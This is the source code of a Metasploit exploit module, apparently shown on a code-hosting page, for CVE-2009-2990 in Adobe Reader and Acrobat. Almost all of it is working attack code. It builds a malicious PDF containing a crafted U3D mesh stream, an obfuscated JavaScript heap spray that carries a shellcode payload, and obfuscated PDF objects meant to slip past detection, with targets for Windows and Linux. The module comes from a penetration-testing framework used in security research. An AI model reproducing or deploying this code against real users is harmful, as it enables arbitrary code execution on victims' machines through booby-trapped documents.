Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'zlib'67class MetasploitModule < Msf::Exploit::Remote8Rank = GoodRanking910include Msf::Exploit::FILEFORMAT1112def initialize(info = {})13super(update_info(info,14'Name' => 'Adobe U3D CLODProgressiveMeshDeclaration Array Overrun',15'Description' => %q{16This module exploits an array overflow in Adobe Reader and Adobe Acrobat.17Affected versions include < 7.1.4, < 8.1.7, and < 9.2. By creating a18specially crafted pdf that a contains malformed U3D data, an attacker may19be able to execute arbitrary code.20},21'License' => MSF_LICENSE,22'Author' =>23[24'Felipe Andres Manzano <felipe.andres.manzano[at]gmail.com>',25'jduck'26],27'References' =>28[29[ 'CVE', '2009-2990' ],30[ 'OSVDB', '58920' ],31[ 'BID', '36665' ],32[ 'URL', 'http://sites.google.com/site/felipeandresmanzano/' ],33[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-15.html' ]34],35'DefaultOptions' =>36{37'EXITFUNC' => 'process',38},39'Payload' =>40{41'Space' => 1024,42'BadChars' => "\x00",43'DisableNops' => true44},45'Platform' => %w{ win linux },46'Targets' =>47[48# test results (on Windows XP SP3)49# reader 7.0.5 - untested50# reader 7.0.8 - untested51# reader 7.0.9 - untested52# reader 7.1.0 - untested53# reader 7.1.1 - untested54# reader 8.0.0 - untested55# reader 8.1.2 - works56# reader 8.1.3 - works57# reader 8.1.4 - untested58# reader 8.1.5 - untested59# reader 8.1.6 - untested60# reader 9.0.0 - untested61# reader 9.1.0 - works62[ 'Adobe Reader Windows Universal (JS Heap Spray)',63{64'Index' => 0x01d10000,65'Platform' => 'win',66'Arch' => ARCH_X86,67'escA' => 0x0f0f0f0f,68'escB' => 0x16161616,69'escC' => 0x1c1c1c1c70}71],7273# untested74[ 'Adobe Reader Linux Universal (JS Heap Spray)',75{76'Index' => 0xfffffe3c,77'Platform' => 'linux',78'Arch' => ARCH_X86,79'escA' => 0x75797959,80'escB' => 0xa2a2a2a2,81'escC' => 0x9c9c9c9c82}83]84],85'DisclosureDate' => '2009-10-13',86'DefaultTarget' => 0))8788register_options(89[90OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),91])9293end94959697def exploit98# Encode the shellcode.99shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))100101# Make some nops102nops = Rex::Text.to_unescape(make_nops(4))103104# prepare the pointers!105ptrA = Rex::Text.to_unescape([target['escA']].pack('V'), Rex::Arch.endian(target.arch))106ptrB = Rex::Text.to_unescape([target['escB']].pack('V'), Rex::Arch.endian(target.arch))107ptrC = Rex::Text.to_unescape([target['escC']].pack('V'), Rex::Arch.endian(target.arch))108109script = <<-EOF110var nopz = unescape("#{nops}");111function mkSlice(stringy,size,rest){112while (stringy.length <= size/2)113stringy += stringy;114stringy = stringy.substring(0, size/2 -32/2 -4/2 - rest -2/2);115return stringy;116};117118function spray(escA,escB,escC,escShellcode){119var loop1;120var pointersA = unescape(escA);121var pointersB = unescape(escB);122var pointersC = unescape(escC);123var shellcode = unescape(escShellcode);124125pointersA_slide=mkSlice(pointersA,0x100000, pointersA.length);126pointersB_slide=mkSlice(pointersB,0x100000, pointersB.length);127pointersC_slide=mkSlice(pointersC,0x100000, pointersC.length);128nop_slide = mkSlice(nopz,0x100000, shellcode.length);129var xarr = new Array();130for (loop1 = 0; loop1 < 400; loop1++) {131if(loop1<100)132xarr[loop1] = pointersA_slide+pointersA;133else if(loop1<200)134xarr[loop1] = pointersB_slide+pointersB;135else if(loop1<300)136xarr[loop1] = pointersC_slide+pointersC;137else138xarr[loop1] = nop_slide+shellcode;139}140return xarr;141};142var memoryz = spray("#{ptrA}","#{ptrB}","#{ptrC}","#{shellcode}");143this.pageNum = 1;144EOF145146# Obfuscate it up a bit147script = obfuscate_js(script,148'Symbols' => {149'Variables' => %W{ pointersA_slide pointersA escA pointersB_slide pointersB escB pointersC_slide pointersC escC escShellcode nop_slide shellcode stringy size rest nopz loop1 xarr memoryz },150'Methods' => %W{ mkSlice spray }151}).to_s152153# create the u3d stuff154u3d = make_u3d_stream(target['Index'], "E" * 11)155156# Create the pdf157pdf = make_pdf(script, u3d)158159print_status("Creating '#{datastore['FILENAME']}' file...")160161file_create(pdf)162end163164165def obfuscate_js(javascript, opts)166js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)167js.obfuscate168return js169end170171172def random_non_ascii_string(count)173result = ""174count.times do175result << (rand(128) + 128).chr176end177result178end179180def io_def(id)181"%d 0 obj\n" % id182end183184def io_ref(id)185"%d 0 R" % id186end187188#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/189def n_obfu(str)190191result = ""192str.scan(/./u) do |c|193if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'194result << "#%x" % c.unpack("C*")[0]195else196result << c197end198end199result200end201202def ascii_hex_whitespace_encode(str)203result = ""204whitespace = ""205str.each_byte do |b|206result << whitespace << "%02x" % b207whitespace = " " * (rand(3) + 1)208end209result << ">"210end211212213def u3d_pad(str, char="\x00")214ret = ""215if (str.length % 4) > 0216ret << char * (4 - (str.length % 4))217end218return ret219end220221222def make_u3d_stream(index, meshname)223224# build the U3D header (length will be patched in later)225hdr_data = [1,0].pack('n*') # version info226hdr_data << [0,0x24,31337,0,0x6a].pack('VVVVV')227hdr = "U3D\x00"228hdr << [hdr_data.length,0].pack('VV')229hdr << hdr_data230231# mesh declaration232decl_data = [meshname.length].pack('v')233decl_data << meshname234decl_data << [0].pack('V') # chain idx235# max mesh desc236decl_data << [0].pack('V') # mesh attrs237decl_data << [0xc322].pack('V') # face count238decl_data << [0x6226].pack('V') # position count239decl_data << [0x24966].pack('V') # normal count240decl_data << [0].pack('V') # diffuse color count241decl_data << [0].pack('V') # specular color count242decl_data << [0].pack('V') # texture coord count243decl_data << [1].pack('V') # shading count244# shading desc245decl_data << [0].pack('V') # shading attr246decl_data << [1].pack('V') # texture layer count247decl_data << [0].pack('V') # texture coord dimensions248decl_data << [0].pack('V') # original shading id249# minimum resolution250decl_data << [0x6226].pack('V') # final maximum resolution (needs to be bigger than the minimum)251# quality factors252decl_data << [0x12c].pack('V') # position quality factor253decl_data << [0x12c].pack('V') # normal quality factor254decl_data << [0x12c].pack('V') # texture coord quality factor255# inverse quantiziation256decl_data << [0x3f0b1e6c].pack('V') # position inverse quant257decl_data << [0x3b6f05a6].pack('V') # normal inverse quant258decl_data << [0x3b6f05a6].pack('V') # texture coord inverse quant259decl_data << [0x3c2df54a].pack('V') # diffuse color inverse quant260decl_data << [0x3c2df54a].pack('V') # specular color inverse quant261# resource params262decl_data << [0x3f666666].pack('V') # normal crease param263decl_data << [0x3f000000].pack('V') # normal update param264decl_data << [0x3f7c28f6].pack('V') # normal tolerance param265# skeleton description266decl_data << [0].pack('V') # bone count267# padding268mesh_decl = [0xffffff31,decl_data.length,0].pack('VVV')269mesh_decl << decl_data270mesh_decl << u3d_pad(decl_data)271272# build the modifier chain273chain_data = [meshname.length].pack('v')274chain_data << meshname275chain_data << [1].pack('V') # type (model resource)276chain_data << [0].pack('V') # attributes (no bounding info)277chain_data << u3d_pad(chain_data)278chain_data << [1].pack('V') # number of modifiers279chain_data << mesh_decl280modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV')281modifier_chain << chain_data282283# mesh continuation284cont_data = [meshname.length].pack('v')285cont_data << meshname286cont_data << [0].pack('V') # chain idx287cont_data << [0].pack('V') # start resolution288cont_data << [0x1000].pack('V') # end resolution289# 4096 continuation blocks290cont_data << [index].pack('V') # split position index291cont_data << [0].pack('v') # new diffuse color count292cont_data << [0].pack('v') # new specular color count293cont_data << [0].pack('v') # new text coord count294cont_data << [0].pack('V') # new face count295# unknown data296cont_data << "\x07\x9c\x00\x00\x00\x37\x0c\x00\x00\xd0\x02\x00\x00\x3f\xeb\x95\x0d\x00\x00\x76"297cont_data << "\x05\x00\x00\xea\x15\x00\x00\xe2\x02\x00\x00\x00\x00\x00\x00\x80\x82\x22\x8e\x2f"298cont_data << "\xaa\x00\x00\x00\xc2\x13\x23\x00\x20\xbb\x06\x00\x80\xc2\x1f\x00\x80\x20\x00\x00"299cont_data << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xc0\x14\x01\x00\x20\x44"300cont_data << "\x0a\x00\x10\x7e\x4b\x8d\xf8\x7c\x32\x6d\x03\x00\x00\xb2\x0b\x00\x20\xfd\x19\x00"301cont_data << "\x20\xb6\xe9\xea\x2e\x55\x00\x00\x59\x94\x00\x00\x4c\x00\x01\x00\x1a\xbb\xa0\xc8"302cont_data << "\xc1\x04\x00\x70\xc4\xa0\x00\x00\x00\x6c\x98\x46\xac\x04\x00\x60\xf6\x1c\x00\x20"303cont_data << "\xa1\x0f\x00\xa0\x17\x66\x23\x00\x00\xde\x88\x1d\x00\x00\x7b\x16\x9f\x72\x9a\x1d"304cont_data << "\x15\x00\x80\xeb\x39\x00\x00\x00\x00\x00\x00\x94\xc8\x00\x00\x54\xce\xfb\x32\x00"305cont_data << "\x80\xc4\x3e\xb0\xc4\x88\xde\x77\x00\x00\x46\x72\x01\x00\xf0\x56\x01\x00\x8c\x53"306cont_data << "\xe9\x10\x9d\x6b\x06\x00"307cont_data << "\x50" # pad308mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV')309mesh_cont << cont_data310#mesh_cont << u3d_pad(cont_data)311mesh_cont << "\xa2\x00" # manual padding312313data = hdr314data << modifier_chain315data << mesh_cont316317# patch the length318data[24,4] = [0x2b680].pack('V') # hardcode the data length319320if index == 0x01d10000321#laziest hack ever! Another index must be found for using the following322# stream in windows.. and a lot of tests shoul be done.323return data324end325326327# linux version328# build the U3D header (length will be patched in later)329hdr_data = [1,0].pack('n*') # version info330hdr_data << [0,0x24,31337,0,0x6a].pack('VVVVV')331meta_str1 = "alalala0"332meta_str2 = "\xa8" * 1024333hdr_meta = [1].pack('V')334hdr_meta << [meta_str1.length].pack('v')335hdr_meta << meta_str1336hdr_meta << [1].pack('V')337hdr_meta << [meta_str2.length].pack('V')338hdr_meta << meta_str2339hdr = "U3D\x00"340hdr << [hdr_data.length,hdr_meta.length].pack('VV')341hdr << hdr_data342hdr << hdr_meta343hdr << u3d_pad(hdr_meta)344345# mesh declaration346decl_data = [meshname.length].pack('v')347decl_data << meshname348decl_data << [0].pack('V') # chain idx349# max mesh desc350decl_data << [0].pack('V') # mesh attrs351decl_data << [0xc322].pack('V') # face count352decl_data << [0x6626].pack('V') # position count353decl_data << [4].pack('V') # normal count354decl_data << [0].pack('V') # diffuse color count355decl_data << [0].pack('V') # specular color count356decl_data << [0].pack('V') # texture coord count357decl_data << [1].pack('V') # shading count358# shading desc359decl_data << [0].pack('V') # shading attr360decl_data << [0].pack('V') # texture layer count361decl_data << [0].pack('V') # original shading id362# no texture coord dimensions363decl_data << [0x64].pack('V') # minimum resolution364decl_data << [0x65].pack('V') # final maximum resolution (needs to be bigger than the minimum)365# quality factors366decl_data << [0x12c].pack('V') # position quality factor367decl_data << [0x12c].pack('V') # normal quality factor368decl_data << [0x12c].pack('V') # texture coord quality factor369# inverse quantiziation370decl_data << [0].pack('V') # position inverse quant371decl_data << [0].pack('V') # normal inverse quant372decl_data << [0].pack('V') # texture coord inverse quant373decl_data << [0].pack('V') # diffuse color inverse quant374decl_data << [0].pack('V') # specular color inverse quant375# resource params376decl_data << [0].pack('V') # normal crease param377decl_data << [0].pack('V') # normal update param378decl_data << [0].pack('V') # normal tolerance param379# skeleton description380decl_data << [0].pack('V') # bone count381# padding382mesh_decl = [0xffffff31,decl_data.length,0].pack('VVV')383mesh_decl << decl_data384mesh_decl << u3d_pad(decl_data)385386# build the modifier chain387chain_data = [meshname.length].pack('v')388chain_data << meshname389chain_data << [1].pack('V') # type (model resource)390chain_data << [0].pack('V') # attributes (no bounding info)391chain_data << u3d_pad(chain_data)392chain_data << [1].pack('V') # number of modifiers393chain_data << mesh_decl394modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV')395modifier_chain << chain_data396397# mesh continuation398cont_data = [meshname.length].pack('v')399cont_data << meshname400cont_data << [0].pack('V') # chain idx401cont_data << [0].pack('V') # start resolution402cont_data << [0x100].pack('V') # end resolution403# 256 continuation blocks404cont_data << [index].pack('V') # split position index405# unknown data406cont_data << [1].pack('V') * 10407cont_data << "Feli" * 20408mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV')409mesh_cont << cont_data410mesh_cont << u3d_pad(cont_data)411412data = hdr413data << modifier_chain414data << mesh_cont415416# patch the length417data[24,4] = [0x174].pack('V') # hardcode the data length418return data419420end421422def make_pdf(js, u3d_stream)423424xref = []425eol = "\x0a"426obj_end = "" << eol << "endobj" << eol427428# the header429pdf = "%PDF-1.7" << eol430431# filename/comment432pdf << "%" << random_non_ascii_string(4) << eol433434# js stream435xref << pdf.length436compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))437pdf << io_def(1) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol438pdf << "stream" << eol439pdf << compressed << eol440pdf << "endstream" << eol441pdf << obj_end442443# catalog444xref << pdf.length445pdf << io_def(3) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(4)446pdf << n_obfu("/Pages ") << io_ref(5)447pdf << n_obfu("/OpenAction ") << io_ref(8)448pdf << n_obfu(">>")449pdf << obj_end450451# outline452xref << pdf.length453pdf << io_def(4) << n_obfu("<</Type/Outlines/Count 0>>")454pdf << obj_end455456# kids457xref << pdf.length458pdf << io_def(5) << n_obfu("<</Type/Pages/Count 2/Kids [")459pdf << io_ref(9) << " " # empty page460pdf << io_ref(10) # u3d page461pdf << n_obfu("]>>")462pdf << obj_end463464# u3d stream465xref << pdf.length466pdf << io_def(6) << n_obfu("<</Type/3D/Subtype/U3D/Length %s>>" % u3d_stream.length) << eol467pdf << "stream" << eol468pdf << u3d_stream << eol469pdf << "endstream"470pdf << obj_end471472# u3d annotation object473xref << pdf.length474pdf << io_def(7) << n_obfu("<</Type/Annot/Subtype")475pdf << "/3D/3DA <</A/PO/DIS/I>>"476pdf << n_obfu("/Rect [0 0 640 480]/3DD ") << io_ref(6) << n_obfu("/F 7>>")477pdf << obj_end478479# js dict480xref << pdf.length481pdf << io_def(8) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(1) + ">>" << obj_end482483# page 0 (empty)484xref << pdf.length485pdf << io_def(9) << n_obfu("<</Type/Page/Parent ") << io_ref(5) << n_obfu("/MediaBox [0 0 640 480]")486pdf << n_obfu(" >>")487pdf << obj_end488489# page 1 (u3d)490xref << pdf.length491pdf << io_def(10) << n_obfu("<</Type/Page/Parent ") << io_ref(5) << n_obfu("/MediaBox [0 0 640 480]")492pdf << n_obfu("/Annots [") << io_ref(7) << n_obfu("]")493pdf << n_obfu(">>")494pdf << obj_end495496# xrefs497xrefPosition = pdf.length498pdf << "xref" << eol499pdf << "0 %d" % (xref.length + 1) << eol500pdf << "0000000000 65535 f" << eol501xref.each do |index|502pdf << "%010d 00000 n" % index << eol503end504505# trailer506pdf << "trailer" << eol507pdf << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(3) << ">>" << eol508pdf << "startxref" << eol509pdf << xrefPosition.to_s() << eol510pdf << "%%EOF" << eol511512end513end514515516